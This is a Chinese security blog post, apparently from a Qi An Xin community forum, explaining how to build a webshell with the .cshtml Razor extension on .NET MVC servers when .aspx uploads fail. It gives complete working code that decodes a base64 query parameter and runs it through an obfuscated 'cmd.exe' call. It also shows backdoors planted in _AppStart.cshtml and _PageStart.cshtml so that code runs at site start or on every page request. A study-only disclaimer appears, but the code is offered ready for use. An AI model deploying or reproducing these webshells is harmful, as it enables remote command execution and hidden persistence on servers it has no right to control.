0x01 背景起因.NET安全矩阵微信群里的某位师傅遇到aspx文件不执行的情况,老版本的IIS里可以上传ascx/ashx/asmx等扩展名,到了IIS后续更新的版本不再支持对ascx的解析访问,但.NET 3.5以后版本…
0x01 背景
起因.NET安全矩阵微信群里的某位师傅遇到aspx文件不执行的情况,老版本的IIS里可以上传ascx/ashx/asmx等扩展名,到了IIS后续更新的版本不再支持对ascx的解析访问,但.NET 3.5以后版本的WebForm 和.NET MVC3版本之后的运行环境里除了能解析aspx之外还能解析cshtml文件名,所以感觉有必要打造一个cshtml扩展名的webshell,帮助大伙在特殊场景下通过上传cshtml扩展名获取webshell。
0x02 介绍
.NET MVC 3.0为微软忠实的粉丝们提供了两种共存的视图引擎,WebForm Engine(.aspx)和 Razor Engine(.cshtml),默认情况下框架从现有 .NET Page页面、Master母版页 和ascx用户控件类型中继承的自定义类型作为视图,引擎的变化直接导致语法发生变化,aspx 中经常使用 <% %>这种代码样例,如果写这段代码的人没有良好的缩进和对齐习惯的话,一段逻辑较为复杂的代码就会堆砌着杂乱无章的<% %>匹配它们就是一件头疼的事情,会让读者望而生畏。而在cshtml中则改为@{ } 这种更为简洁的写法,"@"来标记一段C#代码,并帮我们进行了内部的闭合,并且支持与HTML混写。 它们之间的关系如下图
目前只能在 MVC3 或更高版本等支持 Razor 的框架里使用 cshtml,@是Razor中的一个重要符号,它被定义为Razor服务器代码块的开始符号。例如视图中直接写C#代码输出日期
1 <p>@DateTime.Now.ToString()</p>
在Razor视图引擎中,我们可以使用@{code}来定义一段代码块。Razor支持代码混写,在代码块中插入HTML、在HTML中插入Razor语句都是可以的,代码如下
@{ var myMessage = "dotnet安全矩阵"; }
<html>
<body>
<p>欢迎关注: @myMessage</p>
</body>
</html>
另外介绍一下Razor引擎注释符,服务器端注释为:@* 注释内容 *@,如下
@*<p>你好,Razor引擎!</p>*@
0x03 实现Webshell
Razor视图引擎获取外部参数的方式主要有3种,第一种使用传统WebForm窗体的System.Web.HttpContext对象Request方法获取
System.Web.HttpContext.Current.Request["content"]
第二种使用System.Web.Mvc.WebViewPage类的属性HttpContextBase获取
@Context.Request["content"]
第三种还可以直接使用WebPageRenderingBase类定义的虚方法Request获取
Request["content"]
实现Webshell的代码不多,只是在@{}代码块里加上启动进程的功能即可,值传递的方式依旧采用base64编码,访问/dotnet.cshtml?content=dGFza2xpc3Q= 即可返回tasklist执行后的结果数据,完整的demo如下
@{
if (Request["content"] != null)
{
String content = System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(System.Web.HttpContext.Current.Request["content"]));
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c@m@d.e@x@e".Replace("@", "");
p.StartInfo.Arguments = "/c " + content;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = System.Text.Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
Response.Write("" + System.Text.Encoding.Default.GetString(data) + "");
}
else
{
System.Web.HttpContext.Current.Response.Write("<p style='color:#ff0000;text-align:center;'>example: dotnet.cshtml?content=ipconfig(base64)</p>");
System.Web.HttpContext.Current.Response.Write("<p>1. 本程序仅供实验学习 Microsoft .NET,请勿违法滥用!</p>");
System.Web.HttpContext.Current.Response.Write("<p>2. 适用场景:.NET FrameWork3.5以上及.NET MVC5框架均适用!</p>");
System.Web.HttpContext.Current.Response.Write("<p>3. 公众号:dotNet安全矩阵</p>");
System.Web.HttpContext.Current.Response.Write("<p>4. 二维码:<img src=\"https://github.com/Ivan1ee/NET-Deserialize/raw/master/gzh.jpg\" width=\"200\" height=\"200\"/></p>");
}
}
0x04 两个技巧
4.1 站点全局文件_AppStart.cshtml
某些场景下可能希望在站点上的任何页面运行之前运行一些代码,有点类似于全局静态变量的意思,.NET MVC3之后的Razor视图引擎提供了一个特殊文件_AppStart.cshtml可以达成此操作,如果此文件存在它会在站点中的任何页面第一次被请求时运行,功能上与 Global.asax 文件里的 Application_Start方法雷同,差别在于Global.asax里的Start先执行然后才到_AppStart,下图显示了_AppStart.cshtml文件的工作流程。
有两点注意事项需要重点强调一下,第1点_AppStart.cshtml文件必须位于站点根目录下才能起到预期作用;第2点 写在_AppStart.cshtml代码一定要确保无误,否则网站将无法正常运行。介绍完基本使用的场景后跟随笔者利用好整个特性打造一款定制的后门,由于启动的顺序早于WebPage,所以获取不到HttpContext上下文,因此也就不能通过外部传入参数交互命令执行,笔者硬编码calc,启动网站就会弹出计算器,代码如下
@{
string txt = "calc";
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c@m@d.e@x@e".Replace("@", "");
p.StartInfo.Arguments = "/c " + txt;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
}
4.2 视图全局文件_PageStart.cshtml
_PageStart.cshtml就像您可以使用_AppStart.cshtml在站点中的页面运行之前编写代码一样,您可以编写在某个文件夹中的任何页面运行之前运行代码。这对于为文件夹中的所有页面设置相同的布局页面或在运行文件夹中的页面之前检查用户是否已登录等事情很有用,下图显示了_PageStart.cshtml页面的工作流程。当一个页面的请求进入时,ASP.NET 首先检查*_AppStart.cshtml*页面并运行它。然后 ASP.NET 检查是否存在_PageStart.cshtml页面,如果有,则运行该页面。
另外可以将_PageStart.cshtml文件放在站点的根目录和任何子文件夹中,当请求页面时,最靠近站点根目录的 _PageStart.cshtml 文件先运行,然后再运行子文件夹中的 _PageStart.cshtml 文件,依此类推,例如笔者在Content子目录里创建_PageStart.cshtml,写入启动记事本进程代码以及创建一个ViewPage1.cshtml,访问 /Content/ViewPage1.cshtml时优先触发_PageStart.cshtml里的代码执行。
@using System.Diagnostics
@{
Process.Start("notepad");
}
_PageStart.cshtml和_AppStart.cshtml有一点不同,可正常获取Request对象,因此可访问 /Content/ViewPage1.cshtml?content=dGFza2xpc3Q= 返回正常结果,代码如下
@using System.Diagnostics
@{
if (Request["content"] != null)
{
String content = System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(System.Web.HttpContext.Current.Request["content"]));
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c@m@d.e@x@e".Replace("@", "");
p.StartInfo.Arguments = "/c " + content;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = System.Text.Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
Response.Write("" + System.Text.Encoding.Default.GetString(data) + "");
}
else
{
System.Web.HttpContext.Current.Response.Write("<p style='color:#ff0000;text-align:center;'>example: dotnet.cshtml?content=ipconfig(base64)</p>");
System.Web.HttpContext.Current.Response.Write("<p>1. 本程序仅供实验学习 Microsoft .NET,请勿违法滥用!</p>");
System.Web.HttpContext.Current.Response.Write("<p>2. 适用场景:.NET FrameWork3.5以上及.NET MVC5框架均适用!</p>");
System.Web.HttpContext.Current.Response.Write("<p>3. 公众号:dotNet安全矩阵</p>");
System.Web.HttpContext.Current.Response.Write("<p>4. 二维码:<img src=\"https://github.com/Ivan1ee/NET-Deserialize/raw/master/gzh.jpg\" width=\"200\" height=\"200\"/></p>");
}
}
0x05 结语
.NET MVC下还有很多有趣的技巧,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET相关的安全知识,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
- 本文作者: Ivan1ee
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1843
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!